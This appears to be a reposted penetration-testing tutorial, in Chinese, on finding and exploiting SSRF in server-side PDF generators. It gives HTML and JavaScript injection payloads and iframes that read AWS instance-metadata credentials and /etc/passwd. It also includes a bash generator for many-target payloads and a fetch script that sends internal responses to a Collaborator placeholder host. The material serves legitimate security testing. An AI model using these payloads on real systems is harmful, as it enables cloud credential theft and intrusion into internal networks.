当前位置: 首页 > news >正文

挖掘PDF生成器中的SSRF漏洞:从发现到利用

挖掘PDF生成器中的SSRF漏洞

如果你在网站上看到以下功能之一,很可能遇到了服务器端请求伪造(SSRF)漏洞的热点区域:

  • 打印完成证书
  • 生成报告
  • 提交数字签名

在深入探讨如何发现和利用PDF生成器中的SSRF漏洞之前,我们先做一个快速的思想实验。我想让你简单了解Web应用程序生成PDF时发生了什么。

想象你将一个非常基础的网页保存为桌面上的HTML文件,命名为ssrf.html。该网页使用JavaScript获取图像并添加到网页中,代码如下:

<!DOCTYPE html>
<html>
<body><h1>Congratulations!</h1><script>fetch('https://example.com/image.png').then(response => response.blob()).then(blob => {const img = document.createElement('img');img.src = URL.createObjectURL(blob);document.body.appendChild(img);});</script>
</body>
</html>

然后,想象打开该HTML文件并使用浏览器的打印功能将其保存为PDF。

浏览器解析了HTML,执行了JavaScript,并请求远程图像文件来生成PDF。可以想象,如果攻击者能够影响生成PDF的HTML,可能会带来严重的后果。以下是利用SSRF漏洞可以攻击的几个方面:

  • IMDS:如果服务器托管在云中(如AWS、Azure或GCP),很可能能够与其实例元数据服务(IMDS)交互。如果运气好且启用了AWS IMDSv1,可能从IAM端点泄漏AWS临时安全凭据,或从用户数据端点泄漏明文凭据。
  • PDF生成器:PDF生成组件本身可能易受攻击。
  • 主机/服务发现:几乎肯定能够与服务器上运行的其他服务或无法公开访问的系统交互。

从哪里开始?

查看PDF并注意其中你提供给应用程序的任何数据,如姓名、地址、数字签名等。这些是值得调查的参数。在调查过程中,需要回答以下几个问题:

  1. 我可以注入HTML吗?
  2. 我可以访问远程服务器吗?
  3. 我可以执行JavaScript吗?
  4. 渲染PDF的服务器是否托管在云中?
  5. 生成PDF的组件是否存在已知漏洞?
  6. 我可以与其他哪些服务或系统交互?
  7. 我是否给了足够的时间?

最后一个问题实际上是一个故事,强调了我寻找难以捉摸的SSRF漏洞时遇到的挑战和解决方案。如果你遇到类似情况,这个经验可能有用。

在测试潜在来源时,你会在生成的PDF中获得视觉提示、回调到带外服务器(如Burp Collaborator),或两者兼而有之。

如果你曾经利用过跨站脚本(XSS)漏洞,前几个问题应该很熟悉。利用PDF生成器中的SSRF漏洞非常类似于利用XSS漏洞。最大的区别是你没有DOM在眼前,因为一切都在服务器上发生。但思维方式非常相似。

我可以注入HTML吗?

你的payload可能在服务器上落在三种可能的上下文中:

  1. 在HTML标签之间
  2. 用撇号包裹,在HTML实体属性内
  3. 用引号包裹,在HTML实体属性内

如前所述,你可能看不到注入的内容,因此必须进行一些调查以确定payload落在哪个上下文中。以下代码块显示了payload(高亮显示)。如果给定的payload渲染了,那么你就知道payload落在哪个上下文中。

关于最后两个上下文,即payload落在HTML实体属性内,如果你有Burp的Pro许可证,自动扫描发现“外部HTTP交互”很可能表明是最后两个上下文。如果没有Pro许可证,尝试将图像URL粘贴到payload位置。如果图像出现在PDF中,那也很好地表明你的payload落在最后两个上下文中之一。

在HTML标签之间

你的payload可能落在几个HTML标签之间。在这种情况下,尝试注入一个或两个HTML元素。使用两个元素很方便,因为如果HTML被渲染,你会在PDF中获得视觉提示,表明你的HTML被渲染了。

<body>
<h1>Congratulations!</h1>
<h1>Big Header</h1><h5>Small Header</h5>
</body>

用撇号包裹,在HTML实体属性内

<body>
<h1>Congratulations!</h1>
<img src=''/><h1>Big Apostrophe</h1><h5>Little Apostrophe</h5>'></img>
</body>

用引号包裹,在HTML实体属性内

<body>
<h1>Congratulations!</h1>
<img src=""/><h1>Big Quotation Mark</h1><h5>Little Quotation Mark</h5>"></img>
</body>

陷阱!Atari 2600, 1982。
警告: 在检查最后一个上下文(引号)时,注意你的请求类型。JSON是一种非常常见的请求格式。不要忘记转义引号!

弄清楚payload落在哪个上下文中很重要,因为如果存在语法错误,你可能会看到错误消息,或者根本看不到任何内容。

我可以访问远程服务器吗?

如前所述,尝试将URL粘贴到你正在调查的payload位置。如果它获取远程资源或与你的Burp Collaborator交互,那么你知道你测试的服务器可以访问远程服务器。

如果你确定payload落在两个HTML标签之间,尝试类似以下的内容:

<body>
<h1>Congratulations!</h1>
<img src="{{URL_IMAGE_OR_BURP_COLLABORATOR}}"></img>
</body>

我还想强调一个你可能没想到易受SSRF攻击的功能。数字签名是SSRF的一个意外地方,但注意包含类似以下内容的请求:

data:image/png;base64,{{BASE64_ENCODED_BLOB}}

这是数据URL的开始,这是一种应用程序可以内嵌图像的方式,而不是从远程服务器获取。以下是易受攻击的服务器可能期望的内容:

<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src="data:image/png;base64,{{BASE64_ENCODED_DIGITAL_SIGNATURE}}"></img>
</body>

由于数据URL只是图像元素的来源,尝试用指向远程资源的URL替换数据URL。

我可以执行JavaScript吗?

此时,你已经弄清了payload落在哪里,并验证了服务器可以拉取远程资源。接下来,你可以检查JavaScript执行。我的首选方法是使用类似以下的内容:

<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><body id="body">  <script>jsImg = new Image();jsImg.src="https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L.png";document.getElementById("body").appendChild(jsImg);</script></body>"></img>
</body>

如果你在渲染的PDF中看到BHIS logo,那么你知道JavaScript执行了。

现在,要记住一点。与测试XSS时一样,注入<script>标签有可能被应用程序拒绝。你可能需要使用其他技术注入JavaScript,例如通过事件处理程序。以下payload不会在PDF中渲染图像,但如果你在Burp Collaborator中看到回调,它将证明JavaScript执行。确保更新URL为你可以监控回调的域名。

<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><img src="a" onerror='var jsImg = new Image; jsImg.src="https://{{YOUR_BURP_COLLAB_URL_HERE}}";'></img>"></img>
</body>

渲染PDF的服务器是否托管在云中?

展示SSRF影响的经典攻击是从实例元数据服务(IMDS)泄漏AWS IAM临时安全凭据。具体来说,你需要确定服务器是否托管在AWS中并配置为支持IMDS版本1。在这种情况下,你可能能够将临时安全凭据泄漏到PDF中。你需要至少发起两个请求来泄漏AWS访问密钥。第一个请求是泄漏IAM角色名称。使用iframe元素在PDF中查看响应。

<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials></iframe>
"></img>
</body>

第二个请求是泄漏安全凭据。从PDF复制IAM角色名称并将其添加到以下片段中。

<body>
<h1>Proof that you Signed Your Life Away</h1>
<img src=""><iframe src="http://169.254.169.254/latest/meta-data/iam/security-credentials/{{SECURITY_ROLE_ID}}></iframe>
"></img>
</body>

如果你在PDF中看到类似以下的内容,那么你泄漏了AWS访问密钥,可能用于切换到AWS账户中的其他资源。

{"Code" : "Success","LastUpdated" : "2023-01-11T18:30:00Z","Type" : "AWS-HMAC","AccessKeyId" : "ASIAEXAMPLEKEY","SecretAccessKey" : "EXAMPLE_SECRET_ACCESS_KEY","Token" : "EXAMPLE_TOKEN","Expiration" : "2023-01-12T00:30:00Z"
}

除了AWS访问密钥,查看用户数据IMDS端点中是否有任何敏感数据。BHIS经常在用户数据端点找到包含明文凭据和秘密的脚本。有关如何掠夺AWS IMDS的更多想法,请参见以下内容。

生成PDF的组件是否存在已知漏洞?

最近,我找到了一个SSRF漏洞,其中PDF由无头Chrome渲染。在调查过程中,我发现应用程序通过无头Chrome生成PDF并不罕见。User-Agent请求头提示了我,其中还包括Chrome版本号。令我沮丧的是,它已完全修补。但如果你幸运,可能会遇到未修补的版本,可能被利用进行远程代码执行或从服务器泄漏文件。

检查组件名称和版本的另一个地方是PDF本身的元数据。

此示例没有漏洞,但值得你花时间快速Web搜索你测试的组件中的漏洞。

我可以与其他哪些服务或系统交互?

这个问题非常开放,取决于上下文,但以下是一些值得思考的事情:

  • 在侦察过程中是否遇到任何未解析的主机名?
  • 应用程序中是否找到任何私有IP地址?
  • 是否遇到任何容器技术可能存在的线索?
  • 你是否在多方评估中,另一名测试人员从内部进行黑客攻击?

为了展示更大的影响,也许你可以协作展示如何利用SSRF从外部利用内部网络上的漏洞。

逐个检查这些将非常繁琐。幸运的是,PDF生成器中的SSRF漏洞通常允许我们使用一堆iframe通过单个请求检查许多系统。这种方法的主要警告是,根据目标系统上启用的框架保护,你可能不会在PDF文档中看到响应。

要发送一堆iframe,我喜欢从常见的SSRF目标和主机名列表开始。以下是一个示例起始列表。查看PayloadAllTheThings以生成更全面的列表。

http://169.254.169.254/latest/
http://169.254.169.254.xip.io/
http://127.0.0.1:80
http://127.0.0.1:443
http://127.0.0.1:22
http://0.0.0.0:80
http://0.0.0.0:443
http://0.0.0.0:22
http://localhost:80
http://localhost:443
http://localhost:22
file:///etc/passwd
file://Windows/win.ini

接下来,我将使用以下Bash函数将每个SSRF目标包裹在iframe内。为了保持组织,我还包括一个标题元素。标题元素将出现在PDF中,以便你可以看到哪个payload产生了响应。如果你使用此脚本,请记住根据payload落点调整CRADLE_OPEN和CRADLE_CLOSE变量。如果你的payload落在HTML标签之间,以下脚本将是合适的。

HDR_OPEN='<h1>'
HDR_CLOSE='</h1>'CRADLE_OPEN="<iframe src='"
CRADLE_CLOSE="' width='1000' height='1000'></iframe>"make_payload () {printf $HDR_OPEN$1$HDR_CLOSE$CRADLE_OPEN$1$CRADLE_CLOSE
}

最后,循环遍历SSRF payload文件以生成可以复制到HTTP请求中的“超级”payload。

for target in `cat SSRF_targets.lst`; do make_payload $target; done

以下是请求中最终payload的可能样子。

<h1>http://169.254.169.254/latest/</h1><iframe src='http://169.254.169.254/latest/' width='1000' height='1000'></iframe>
<h1>http://169.254.169.254.xip.io/</h1><iframe src='http://169.254.169.254.xip.io/' width='1000' height='1000'></iframe>
...

以下是评估期间使用此技术生成的PDF示例。

我是否给了足够的时间?

在最近的评估中,我在AWS服务器上找到了一个SSRF漏洞,几乎没泄漏AWS临时安全凭据。在初步调查期间,我发送了一个“超级”payload,并在PDF中看到了http://169.254.169.254/latest/端点的响应。但当我尝试单独访问http://169.254.169.254/latest/meta-data/iam/security-credentials端点,而不是“超级”payload的其余部分时,我的PDF是空的。

我的第一个故障排除步骤是查看是否至少可以查看父目录。那没有用,所以我发送了原始的IMDS端点http://169.254.169.254/latest/,因为我有访问它的证明。当我尝试单独查看原始IMDS端点时,我的PDF仍然是空的。

这没有意义,所以我认为客户可能已经修补了它。但为了确保,我回去发送了原始的“超级”payload。“超级”payload仍然从IMDS返回了响应。我思考了为什么发送“超级”payload时可以看到响应,而单独发送IMDS端点的payload时却不行。我认为由于“超级”payload框架了许多站点,渲染需要更长时间。也许额外的渲染时间允许在生成PDF之前从IMDS获取响应。我尝试使用JavaScript的setTimeout()函数延迟执行,使用2到30秒之间的各种延迟。通过JavaScript延迟对服务器的响应时间没有影响,PDF仍然是空的。也许延迟的方式有所不同。我修改了原始的“超级”payload,包括十个指向http://169.254.169.254/latest/meta-data/iam/security-credentials端点的iframe,它工作了。我可以在PDF的所有十页上看到AWS IAM角色名称,因此我修改了请求以检索该角色的临时安全凭据。

在测试与其他系统的交互时,我使用JavaScript的fetch() API发起请求,并将响应(当CORS策略允许时)发送到我的Burp Collaborator服务器。

async function requestToTarget() {let response = await fetch("/{{ENDPOINT_ON_TARGET}}");let dataFromTarget = await response.json();return dataFromTarget;
}async function uploadToCollaborator() {let dataToExfiltrate = await requestToTarget();fetch("https://{{COLLABORATOR_DOMAIN}} ", {method: "POST",body: JSON.stringify(dataToExfiltrate)})
}uploadToCollaborator()

使用十个iframe时,我没有看到与Burp Collaborator的任何交互。在增加到100个iframe后,我开始看到与Burp Collaborator的交互。我得出结论,这必须延迟了PDF生成器足够长的时间以执行JavaScript并将响应发送到Collaborator。

我不知道为什么用大量iframe引起延迟有效,而JavaScript却没有。仅分享以防你遇到这种情况。也许可以用其他元素(如图像)完成相同的操作。如果你知道原因或有替代解决方案,请告诉我!

结束语

当涉及查找和利用PDF生成器中的SSRF漏洞时,payload和触发器很可能异步发送。我第一次找到SSRF漏洞时,易受攻击的参数在一个请求中发送,但SSRF的触发器是两个请求之后,并且并不立即明显哪个请求触发了SSRF漏洞。希望你能相信,额外努力寻找难以捉摸的SSRF漏洞是值得的——狩猎愉快!

有用资源

  • https://docs.google.com/presentation/d/1JdIjHHPsFSgLbaJcHmMkE904jmwPM4xdhEuwhy2ebvo/htmlpresent
  • https://www.jomar.fr/posts/2021/ssrf_through_pdf_generation/
  • https://aws.amazon.com/blogs/security/defense-in-depth-open-firewalls-reverse-proxies-ssrf-vulnerabilities-ec2-instance-metadata-service/
  • https://www.triskelelabs.com/microstrategy-ssrf-through-pdf-generator-cve-2020-24815
  • https://blog.appsecco.com/an-ssrf-privileged-aws-keys-and-the-capital-one-breach-4c3c2cded3af
  • https://hackerone.com/reports/2262382?s=09

参考文献

  1. https://portswigger.net/burp/documentation/collaborator
  2. https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Data_URLs
  3. BHIS logo的链接在撰写此博客时有效。对于此技术,确保使用存在的图像的URL。
  4. https://blog.checkpoint.com/security/aws-instance-metadata-service-imds-best-practices/
  5. https://developer.chrome.com/blog/headless-chrome
  6. https://blog.grio.com/2020/08/understanding-pdf-generation-with-headless-chrome.html
  7. https://portswigger.net/daily-swig/severe-chrome-bug-allowed-rce-on-devices-running-remote-headless-interface
  8. https://github.com/xcanwin/CVE-2023-4357-Chrome-XXE
  9. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Security-Policy/frame-ancestors
  10. https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
  11. https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server Side Request Forgery
  12. https://developer.mozilla.org/en-US/docs/Web/API/setTimeout
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    公众号二维码
http://www.wxhsa.cn/company.asp?id=5887

相关文章:

  • 做题记录 2
  • 计数原理与排列组合
  • 9.16动态用例设计方法 笔记
  • 深入解析:ESP32三种主流的开发环境
  • js
  • 9.16电商状态迁移图
  • c# ConcurrentDictionary
  • 核桃OJ【S组 第二轮】信息学竞赛10w选手模拟考
  • 第一次个人编程作业
  • 【初赛】软件系统 - Slayer
  • 漏洞详解--XXE 从入门到精通!
  • 数学分析习题课 note
  • 总结-CDQ 分治
  • 【初赛】计算机语言 - Slayer
  • 深入浅出RocketMQ客户端编程
  • Win10玩LOL弹窗
  • 洞察中国HR SaaS薪酬市场:2025企业数字化转型中的选型策略
  • 9.16 一些记录
  • Week 1 Homework
  • 溢出存储变量
  • retrieving repo key for OS unencrypted from
  • 3. Explain详解与索引最佳实践
  • 软工个人项目作业
  • 异地办公文件同步,多台设备如何无缝同步最新教程
  • CSP-S模拟22
  • 详细介绍:【系统分析师】2025年上半年真题:论文及解题思路
  • 表格如何设置多人在线编辑?坚果云实时编辑,告别版本冲突!
  • 白嫖党狂喜!爆肝一下午搞定 URL 转 HTML 幻灯片神器,ISlide 9900 资源点从此是路人
  • Codeforces 2144E2 Looking at Towers (difficult version) 题解 [ 蓝 ] [ 线性 DP ] [ 树状数组 ]
  • 实战有效的Web时序攻击技术剖析